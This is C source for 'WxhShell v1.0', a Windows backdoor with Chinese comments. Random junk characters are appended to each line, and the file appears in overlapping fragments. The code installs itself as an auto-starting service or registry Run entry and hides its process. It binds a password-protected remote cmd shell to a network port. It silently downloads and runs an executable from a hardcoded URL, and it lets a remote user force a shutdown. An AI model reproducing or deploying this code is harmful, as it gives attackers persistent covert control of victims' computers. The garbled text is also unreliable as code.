    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sJYKt   
    else { M'!!EQo  
    closesocket(wsh); y 4,T  
    ExitThread(0); HNHhMi`w  
    } omUl2C  
    break; k}Clq;G  
    } tB(X`A.|  
  // 获取shell j|$y)FBX  
  case 's': { ['N#aDh.?  
    CmdShell(wsh); jtVPv]  
    closesocket(wsh); @l6 dJ  
    ExitThread(0); )>A%FL9  
    break; 2QuypVC ]  
  } :#!F 7u  
  // 退出 $GfxMt  
  case 'x': { s7)# NT2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }"; hz*a  
    CloseIt(wsh); AdN= y8T  
    break; Y @ ,e  
    } DkMC!Q\  
  // 离开 o'}Z!@h  
  case 'q': { CYic_rF$  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xyJgHbml  
    closesocket(wsh); r'JK$9  
    WSACleanup(); qP.VK?jF|  
    exit(1); u #QSa$P  
    break; : w`i  
        } eEds-&_  
  } >8HRnCyp/  
  } "e};?|y  
* jNu?$  
  // 提示信息 V9 t:JY  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); V@s/]|rf,  
} [`n yq)  
  } PL B=%[  
[(^''*7r+T  
  return; 5<ya;iK  
} WAXrA$:3J  
{ dx yBDK  
// shell模块句柄 2!& ;ZcT,  
int CmdShell(SOCKET sock) ' xq5tRg>  
{ =|t1eSzc  
STARTUPINFO si; 9!OCilG  
ZeroMemory(&si,sizeof(si)); (YH{%8 Z0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; a +Qj[pS  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sBG(CpQ  
PROCESS_INFORMATION ProcessInfo; M]:B: ;  
char cmdline[]="cmd"; ,T>2zSk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ~CTRPH   
  return 0; w0>)y -  
} -kS5mR  
)$.9Wl Q  
// 自身启动模式 G!lykk]  
int StartFromService(void) =:}DD0o*  
{ Z"&ODVP  
typedef struct e/I{N0SR  
{ AyXKhj#Ml  
  DWORD ExitStatus; `)_FO]m}jS  
  DWORD PebBaseAddress; y,eoTmaI  
  DWORD AffinityMask; N9hWx()v  
  DWORD BasePriority; ep1Ajz.l  
  ULONG UniqueProcessId; RR {9  
  ULONG InheritedFromUniqueProcessId; c^UM(bW  
}   PROCESS_BASIC_INFORMATION; f*f9:xUY  
,(b~L<zN&  
PROCNTQSIP NtQueryInformationProcess; i; uM!d}  
3]82gZG G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <1K: G/!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b8Ad*f\  
3Jit2W4  
  HANDLE             hProcess; : .eS|  
  PROCESS_BASIC_INFORMATION pbi; 4h@of'  
PU\q.y0R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 1Ee>pbd  
  if(NULL == hInst ) return 0; 5WX2rJ8z  
n m$G4Q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V#FLxITk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 0a;zT O/"v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rV{e[fGd  
dz DssAHy  
  if (!NtQueryInformationProcess) return 0; ?["ZEa  
zXO.NSC[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 'Pn`V{a  
  if(!hProcess) return 0; FiH!) 6T  
,*#M%Pv1t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; U;Wmx  
$a]dxRkz  
  CloseHandle(hProcess); }e6:&`a xD  
e6/} M3B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qTex\qP  
if(hProcess==NULL) return 0; Z ISd0hV  
jP]'gQ!-w  
HMODULE hMod; N{@ eV][Q  
char procName[255]; Np)!23 "  
unsigned long cbNeeded; 3`I_  
n[7zK'%Dxg  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  6<GWDO  
6ns_4, e  
  CloseHandle(hProcess); s!\L1E  
b s*Z{R  
if(strstr(procName,"services")) return 1; // 以服务启动 %?y`_~G  
"*WXr$  
  return 0; // 注册表启动 /267Q;d C)  
} 1 ErYob.p  
suSIz 7:  
// 主模块 U3QnWPt}>  
int StartWxhshell(LPSTR lpCmdLine) yLX\pkAt4  
{ [Hf FC3U  
  SOCKET wsl; ]y$C6iUY*  
BOOL val=TRUE; mLqm83  
  int port=0; /+7L`KPD  
  struct sockaddr_in door; .42OSV  
5sUnEHN  
  if(wscfg.ws_autoins) Install(); bvKi0-  
pq`MO .R  
port=atoi(lpCmdLine); >?V->7QLP  
`z.#O\@o  
if(port<=0) port=wscfg.ws_port; 2:yv:7t/  
NI)nf;C  
  WSADATA data; w5Z3e^g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; + u+fEg/A  
SfR_#"Uu  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   [8n4lE[)"  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); gS 3&,^  
  door.sin_family = AF_INET; h:wD &Fh8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); vY koh/(/u  
  door.sin_port = htons(port); 5kz`_\ &  
vC1 `m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |Ca n  
closesocket(wsl); &~EOM  
return 1; aDESO5  
} 'UKB pm/  
K9iR>put  
  if(listen(wsl,2) == INVALID_SOCKET) { c`cPGEv  
closesocket(wsl); Wj0([n  
return 1; ijfT!W  
} #kA+Yqy \)  
  Wxhshell(wsl); o/#e y  
  WSACleanup(); 5Z'pMkn3  
j<u`W|vl  
return 0; a>6p])Wh  
FrS>.!OFn  
} OB:G5B`  
|ONOF  
// 以NT服务方式启动 Pt$7U[N  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) "cZ.86gG`:  
{ ESAh(A)8  
DWORD   status = 0; vnE,}(M  
  DWORD   specificError = 0xfffffff; (Y%}N(Jg  
8oK30?  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q%l<Hw6{z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; HDYoM  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :hr%iu  
  serviceStatus.dwWin32ExitCode     = 0; vhKD_}}aP  
  serviceStatus.dwServiceSpecificExitCode = 0; !Qy3fs  
  serviceStatus.dwCheckPoint       = 0; G7u85cie  
  serviceStatus.dwWaitHint       = 0; >i '3\  
TA*49Qp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); nZ]d[  
  if (hServiceStatusHandle==0) return; U<t Qj`  
7ORwDR,`5  
status = GetLastError(); Wjp<(aY[  
  if (status!=NO_ERROR) ~b e&T:7.  
{ !|SawT5t   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; vjWS35i  
    serviceStatus.dwCheckPoint       = 0; Z|u_DaSrr|  
    serviceStatus.dwWaitHint       = 0;  (1ebE  
    serviceStatus.dwWin32ExitCode     = status; *<KY^;  
    serviceStatus.dwServiceSpecificExitCode = specificError; Q"KH!Bu%P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Bi]%bl>%  
    return; ,MdCeA%`  
  } U7O2.y+  
U`D"L4},.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; C)`/Q(^  
  serviceStatus.dwCheckPoint       = 0; P;h/)-q8  
  serviceStatus.dwWaitHint       = 0; ~Oolm_+{}  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rkV ZP!7!  
} 3N?uY2  
mIOx)`$  
// 处理NT服务事件,比如:启动、停止 Rzz*[H  
VOID WINAPI NTServiceHandler(DWORD fdwControl) zZ kwfF  
{ !5pp A  
switch(fdwControl) qRNGe8  
{ V /|@   
case SERVICE_CONTROL_STOP: *<J**FhcMu  
  serviceStatus.dwWin32ExitCode = 0; nfd^'}$]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \;4RD$J  
  serviceStatus.dwCheckPoint   = 0; o4d>c{p  
  serviceStatus.dwWaitHint     = 0; _T H'v:C  
  { 5'@}8W3b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); VF;%Z  
  } 8I JFQDGA9  
  return; m%akx@{WL  
case SERVICE_CONTROL_PAUSE: /|Zk$q.\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Dzb@H$BQ7  
  break; w}+jfO9  
case SERVICE_CONTROL_CONTINUE: .DHPKz`W0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 23 3jT@Z  
  break; !s5 _JO  
case SERVICE_CONTROL_INTERROGATE: B \BP:;"  
  break; .7{,u1N'  
}; s+,JwV?b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '(=krM9;  
} %G>*Pez %  
lRn>/7sg$  
// 标准应用程序主函数 C4ge_u#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) (|<}q-wO  
{ rcAx3AK.  
!Vy/-N  
// 获取操作系统版本 Iq(BH^K  
OsIsNt=GetOsVer(); XNsMXeO]&  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1InG%=jLo  
YDO#Q= q%  
  // 从命令行安装 y3 kXfSe  
  if(strpbrk(lpCmdLine,"iI")) Install(); bvi Y.G3  
SK#; /fav6  
  // 下载执行文件 'jqkDPn  
if(wscfg.ws_downexe) { wm_xH_{F  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Sw%^&*J  
  WinExec(wscfg.ws_filenam,SW_HIDE); B/AS|i] sM  
} ??)IPRv?yF  
PIl:z?q({  
if(!OsIsNt) { VI/77  
// 如果时win9x,隐藏进程并且设置为注册表启动 =[`B -?  
HideProc(); 6;Wns'  
StartWxhshell(lpCmdLine); CN+[|Mz*p  
} qYF150  
else Sjv_% C $  
  if(StartFromService()) V9bn  
  // 以服务方式启动 &C6Z-bS"  
  StartServiceCtrlDispatcher(DispatchTable); yp9vgUs  
else bW-9YXj%  
  // 普通方式启动 }Ox5,S}ra  
  StartWxhshell(lpCmdLine); B'SLyf  
Lk#8G>U  
return 0; 8`Ih> D c  
} #? u#=]  
Wa.y7S0(@  
$MhfGMk!'  
rK(TekU  
=========================================== wkc)2z   
c'O"</  
+`=rzL"0I7  
21_sg f?  
2D;2QdO  
4z6kFQgu  
" (J} tCqP  
3:qn\"Hj  
#include <stdio.h> ecvQEK2L  
#include <string.h> C)hS^D:  
#include <windows.h> #|-i*2@oR  
#include <winsock2.h> &65I 6  
#include <winsvc.h> Zmx[:-  
#include <urlmon.h> S3 Dmc\f  
8GlRO4yd  
#pragma comment (lib, "Ws2_32.lib") r?7tI0  
#pragma comment (lib, "urlmon.lib") .:r l<.  
;T hn C>U  
#define MAX_USER   100 // 最大客户端连接数 yVfF *nG  
#define BUF_SOCK   200 // sock buffer nOTe 3?i>  
#define KEY_BUFF   255 // 输入 buffer A9Kt^HR  
H'a6] ]2  
#define REBOOT     0   // 重启 Tji*\<?  
#define SHUTDOWN   1   // 关机 SR>(GQ,m0;  
L NS O]\  
#define DEF_PORT   5000 // 监听端口 9KCeKT>v  
;suY  
#define REG_LEN     16   // 注册表键长度 T0|hp7WM  
#define SVC_LEN     80   // NT服务名长度 uxx(WS  
pd dumbp  
// 从dll定义API ,,8'29yEq  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o#uhPUZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9s4>hw@u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); JCjV,  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); __%){j6  
SDu%rr7sQ  
// wxhshell配置信息 >zX`qv&>  
struct WSCFG { \%}w7J;  
  int ws_port;         // 监听端口 ^UmhSxQ##  
  char ws_passstr[REG_LEN]; // 口令 ec h1{v\B|  
  int ws_autoins;       // 安装标记, 1=yes 0=no v`&>m '  
  char ws_regname[REG_LEN]; // 注册表键名 j6GR-WQ]t  
  char ws_svcname[REG_LEN]; // 服务名 ak_n  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 sq_ yu(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 cC pNF `DN  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E>c*A40=.n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ^6@6BYf)  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,5& Rra/  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 K |^OnM  
)0o|u>  
}; +8}8b_bgH  
bQ`2ll*(  
// default Wxhshell configuration "G!,gtA~  
struct WSCFG wscfg={DEF_PORT, }hA)p:  
    "xuhuanlingzhe", jO.c>C[?  
    1, V~7Oa2'#B  
    "Wxhshell", J3 xi5S  
    "Wxhshell", Ri/D>[  
            "WxhShell Service", ^!6T,7 B B  
    "Wrsky Windows CmdShell Service", 9~v#]Q}Z}4  
    "Please Input Your Password: ", "lA8CA  
  1, Bq~?!~\?.  
  "http://www.wrsky.com/wxhshell.exe", ]# ;u]  
  "Wxhshell.exe" _iH:>2p5R  
    }; uQl=?0 85  
*5mJA -[B+  
// 消息定义模块 ~pw%p77)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; LHMA-0$?)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ]Wn=Oc{F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 3oC ^"723  
char *msg_ws_ext="\n\rExit."; fBLR  
char *msg_ws_end="\n\rQuit."; m!WDXt  
char *msg_ws_boot="\n\rReboot..."; Of;$ VK'  
char *msg_ws_poff="\n\rShutdown..."; u vyvy  
char *msg_ws_down="\n\rSave to "; DI\^&F)3T2  
^. ~ F_  
char *msg_ws_err="\n\rErr!"; JqK-vvI  
char *msg_ws_ok="\n\rOK!"; @<$_X1)s  
`aL4YH-v  
char ExeFile[MAX_PATH]; MC_i"P6a  
int nUser = 0; *#Iqz9X.Y3  
HANDLE handles[MAX_USER]; \4|osZ0y  
int OsIsNt; vPsf{[Kr  
Bg}(Sy  
SERVICE_STATUS       serviceStatus; tC&jzN"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %(~8a  
 WYW@%t  
// 函数声明 Fv3:J~Yf  
int Install(void); `7Dj}vVu  
int Uninstall(void); p><DA fB  
int DownloadFile(char *sURL, SOCKET wsh); wV"C ,*V  
int Boot(int flag); q;<Q-jr&O  
void HideProc(void); 0E`6g6xMS  
int GetOsVer(void); R ]y9>5 'U  
int Wxhshell(SOCKET wsl); 9=G dj!L  
void TalkWithClient(void *cs); QD^"cPC)mM  
int CmdShell(SOCKET sock); k(wJ6pc  
int StartFromService(void); wb6$R};?  
int StartWxhshell(LPSTR lpCmdLine); /i IWt\J  
8_uh2`+Bvb  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); }J] P`v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ]*\<k  
'p4b8:X  
// 数据结构和表定义 l 5z8]/  
SERVICE_TABLE_ENTRY DispatchTable[] = D}K/5iU]a  
{ ?v Z5 ^k  
{wscfg.ws_svcname, NTServiceMain}, qR8 BS4q_p  
{NULL, NULL} Op ;){JT  
}; Eq'oy~.oV  
K9Bi2/N  
// 自我安装 ]]_H|tO  
int Install(void) UdX aC= Q  
{ J!*Pg<  
  char svExeFile[MAX_PATH]; ybVdWOqv  
  HKEY key; <P<^,aC/j  
  strcpy(svExeFile,ExeFile); `L?9-)m<f  
dWhF[q"  
// 如果是win9x系统,修改注册表设为自启动 ai~JY[  
if(!OsIsNt) { f n'N^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Mta;6<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?mW;%d~]  
  RegCloseKey(key); M ^~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p$&6E\#7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V39)[FH}  
  RegCloseKey(key); Y$6W~j  
  return 0; da53XEF&  
    } 0 ;ov^]  
  } w\3'wD!  
}  kn|z  
else { 1w|V'e?kb  
xn)r6  
// 如果是NT以上系统,安装为系统服务 QtsyMm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .j0]hn]  
if (schSCManager!=0) i*%2 e)  
{ 'BwM{c-O"  
  SC_HANDLE schService = CreateService {cBLm/C  
  ( L8j#l u  
  schSCManager, r&-I r3[  
  wscfg.ws_svcname, =rDIU&0Y  
  wscfg.ws_svcdisp, ^, KN@  
  SERVICE_ALL_ACCESS, ?W"9G0hTqM  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CmPix]YMQ  
  SERVICE_AUTO_START, :cK;|{f  
  SERVICE_ERROR_NORMAL, u3H2\<  
  svExeFile, 6">jf #pE  
  NULL, SAGLLk07G  
  NULL, `g iCytv  
  NULL, Epm=&6zf  
  NULL, g1`/xJz|  
  NULL ,/g\;#:{@]  
  ); !S',V&Yb  
  if (schService!=0) v#`Wf}G  
  { tEl4 !v A  
  CloseServiceHandle(schService); /Iu._2  
  CloseServiceHandle(schSCManager); 'yM)>]u"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KCed!OJ+  
  strcat(svExeFile,wscfg.ws_svcname); :{tvAdMl7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { U;:,$]+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -W+67@(\8H  
  RegCloseKey(key); ^50/.Z >  
  return 0; p=(;WnsK  
    } HH|&$C|64  
  } W+~ w  
  CloseServiceHandle(schSCManager); Mr(~ *  
} g~@0p7]Y  
} S!n 9A  
f.=4p^  
return 1; t=]&q.  
} ^q,KR ut  
9Yowz]')  
// 自我卸载 OI.2CF  
int Uninstall(void) <8 At =U  
{ Rh%/xG#k  
  HKEY key; 6Bp{FOj:Ss  
`B6{y9J6  
if(!OsIsNt) { y=\jQ6Fc  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k[ Iwxl;/  
  RegDeleteValue(key,wscfg.ws_regname); oA~m*|  
  RegCloseKey(key); D.<CkD B  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { .>?["e#,  
  RegDeleteValue(key,wscfg.ws_regname); 5e,Dk0d  
  RegCloseKey(key); |b/J$.R  
  return 0; .VmI4V?}h  
  } Rhx7eU#&  
} )B*?se]LJ  
} bYdC.AE  
else { 64 \ZOG\,  
KF'H|)!K  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fwAN9zs  
if (schSCManager!=0) %MP s}B  
{ A0rdQmrOL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }]zmp/;a  
  if (schService!=0) =,[46 ;q  
  { {7eKv+30  
  if(DeleteService(schService)!=0) { gH\r# wy|  
  CloseServiceHandle(schService); 7"xd'\c@  
  CloseServiceHandle(schSCManager); %1VMwqC]E  
  return 0; 5.[{PJ]bq  
  } |-_5ou N.  
  CloseServiceHandle(schService); vo`wYJ3W  
  } 9v cUo?/  
  CloseServiceHandle(schSCManager); R C (v#G  
} ;*W]]4fy  
} 6ddkUPTF  
/"CKVQ  
return 1; E}@8sY L  
} C3@.75-E  
f aO8 &  
// 从指定url下载文件 $xu?zd"  
int DownloadFile(char *sURL, SOCKET wsh) y-n\;d>[(  
{ ;mi0Q.  
  HRESULT hr; DhZtiqL#_  
char seps[]= "/"; N0vd>b  
char *token; kw-/h+lG  
char *file; z{#F9'\&  
char myURL[MAX_PATH]; HnP;1Gi  
char myFILE[MAX_PATH]; )i_FU~ LRq  
4(aesZ8h  
strcpy(myURL,sURL); o@>c[knJ  
  token=strtok(myURL,seps); uAjGR  
  while(token!=NULL) doR'=@ W  
  { Q5,@ P?  
    file=token; b(Z%#*e  
  token=strtok(NULL,seps); @i{JqHU"  
  } btOTDqG`a  
AVyZ#`,  
GetCurrentDirectory(MAX_PATH,myFILE); CMBW]b|  
strcat(myFILE, "\\"); D`t e|K5  
strcat(myFILE, file); Y$ChMf  
  send(wsh,myFILE,strlen(myFILE),0); 2 !;4mij,  
send(wsh,"...",3,0); 3,vH:L4  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); tt^ze|*&t  
  if(hr==S_OK) Xl/G|jB9  
return 0; b<F 4_WF  
else Vw{Ys6q  
return 1; huF L [  
4o*V12_r'4  
} GcU/   
(j~V  
// 系统电源模块 <y.D0^68  
int Boot(int flag) w@: ]]R  
{ CD&m4^X5D  
  HANDLE hToken; 6 gKOpa  
  TOKEN_PRIVILEGES tkp; )2FO+_K?T  
yX-xVvlv@  
  if(OsIsNt) { ,oG"wgf  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); r/4]b]n  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 0wkLM-lN  
    tkp.PrivilegeCount = 1; ^ Wl/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ob00(?;H  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); !n{c#HfG  
if(flag==REBOOT) { y[|g!9Rp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) t3GK{X  
  return 0; MJG%HakK0  
} <dN=d3S  
else { p&4n3%(R@  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {6n \532@  
  return 0; q],R6GcVr  
} >1~`tP  
  } 'i(p@m<'  
  else { z}8YrVr@  
if(flag==REBOOT) { @ RI^wZ-;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Q$vr`yV#=6  
  return 0; K%}I}8M  
} =| !~0O  
else { d*>k ]X@G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ;iORfUjxrq  
  return 0; 3kQ^f=Wd  
} S <_pGz$V  
} +zdkdS,2<  
"r V4[MVxt  
return 1; 'U"3'jh  
} lkZC?--H  
G zXP  
// win9x进程隐藏模块 @c !67Z  
void HideProc(void) fE*I+pe  
{ W`'|&7~  
48g^~{T4O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7h]R{_  
  if ( hKernel != NULL ) t60/f&A#7H  
  { t4k'9Y:\Q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )t0b$<%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 6h_k`z  
    FreeLibrary(hKernel); sYA-FO3gh  
  } qX'a&~s)n  
(YJ AT  
return; (bt]GAxb1  
} g$"eI/o  
$l;tP  
// 获取操作系统版本 ,;P`Mf'YC  
int GetOsVer(void) jN} 7Bb X  
{ +@u C:3jM  
  OSVERSIONINFO winfo; {}o>ne nx\  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); R[9PFMn  
  GetVersionEx(&winfo); lq8ko@  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }PIB b  
  return 1; 'HWgvmw(  
  else g**% J Xo  
  return 0;  "$Iw Q  
} `VFl|o#H  
f5GR#3-h(  
// 客户端句柄模块 !-RpRRR[Co  
int Wxhshell(SOCKET wsl) O 4Pd N?  
{ n{Qh8"  
  SOCKET wsh; KHus/M&0  
  struct sockaddr_in client; h!N&gZ[0  
  DWORD myID; T7,Gf({  
~`>26BWQz  
  while(nUser<MAX_USER) 5652'p  
{ 31sgf5 s  
  int nSize=sizeof(client); ar qLp|  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); lZA>L, \d  
  if(wsh==INVALID_SOCKET) return 1; KO]?>>5S6  
K@ sP~('  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); q\b ?o!# _  
if(handles[nUser]==0) d)GkXll1D  
  closesocket(wsh); l&sO?P[ /  
else 0HJqsSZ$mW  
  nUser++; r{!"%03H_  
  } ;Q>3N(  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); aHPSnB&  
v*'iWHCl,  
  return 0; Sp~Gv>uMK  
} /yw\(|T  
h [|zs>p  
// 关闭 socket 8X ?GY8W:  
void CloseIt(SOCKET wsh) Y\g90  
{ UGC|C F2K  
closesocket(wsh); k`7.p,;}U  
nUser--; ?` eYW Z">  
ExitThread(0); (LT\ IJSM  
} G\:psx/  
3n84YX{  
// 客户端请求句柄 /romTK4  
void TalkWithClient(void *cs) >.O*gv/ _  
{ %I|+_ z&x  
%j[LRY/  
  SOCKET wsh=(SOCKET)cs; Q 9gFTLQ  
  char pwd[SVC_LEN]; emkMR{MY  
  char cmd[KEY_BUFF]; V:(w\'wm  
char chr[1]; fs3 -rXoB  
int i,j; jgo<#AJ/E  
"\zj][sL  
  while (nUser < MAX_USER) { r8 Zyld_@  
WJY4>7}{B@  
if(wscfg.ws_passstr) { PK 2Rj%  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @O<@f8-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^iV`g?z  
  //ZeroMemory(pwd,KEY_BUFF); zh{@? k  
      i=0; m[@%{  
  while(i<SVC_LEN) { #GY&$8.u*  
!rsa4t@ t  
  // 设置超时 '?`@7Eol  
  fd_set FdRead; ){:q;E]^fB  
  struct timeval TimeOut; qr'x0r|<>  
  FD_ZERO(&FdRead); N o_$!)J.  
  FD_SET(wsh,&FdRead); _d\u!giy  
  TimeOut.tv_sec=8; 0279g   
  TimeOut.tv_usec=0; ^EC)~HP@C  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z@Z_] h  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jHu,u|e0>S  
yUD_ w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k%Ma4_Z  
  pwd=chr[0]; 2xL!PR-  
  if(chr[0]==0xd || chr[0]==0xa) { ?ae[dif  
  pwd=0; )p/=u@8_f  
  break; .# !'c  
  } *l>[`U+  
  i++; .Ca"$2  
    } ~),;QQ,  
F_Z&-+,*3t  
  // 如果是非法用户,关闭 socket o27 3|*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); e(OwS?K  
} dN]Zs9]  
]k ::J>84  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ba(arGZ+{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >%uAQiU  
iA55yT+  
while(1) { F,p`- m[q  
V-D}U$fw  
  ZeroMemory(cmd,KEY_BUFF); 05l0B5'p  
%XEKhy  
      // 自动支持客户端 telnet标准   =~GE?}.o  
  j=0; w+Z--@\  
  while(j<KEY_BUFF) {  YBYBOH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zuC58B  
  cmd[j]=chr[0]; E;6Y? vJ  
  if(chr[0]==0xa || chr[0]==0xd) { Af2=qe  
  cmd[j]=0; 2Ueq6IuQ  
  break; 7=7!| UV  
  } 1fz*S IjG  
  j++; U}tl_5%)  
    } pP|,7c5  
q[{:  
  // 下载文件 :V&N\>Wo  
  if(strstr(cmd,"http://")) { +R|U4`12  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); g\ErJ+i  
  if(DownloadFile(cmd,wsh)) f,St h7y  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9 9Ba{qj  
  else t{/hkXq]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Vz<{W3t  
  } 5h_<R!jA  
  else { >Y7r \  
O0@w(L-  
    switch(cmd[0]) { N=OS\pz  
  t9G}Yd[T  
  // 帮助 6BDt.bG  
  case '?': { nqZA|-}  
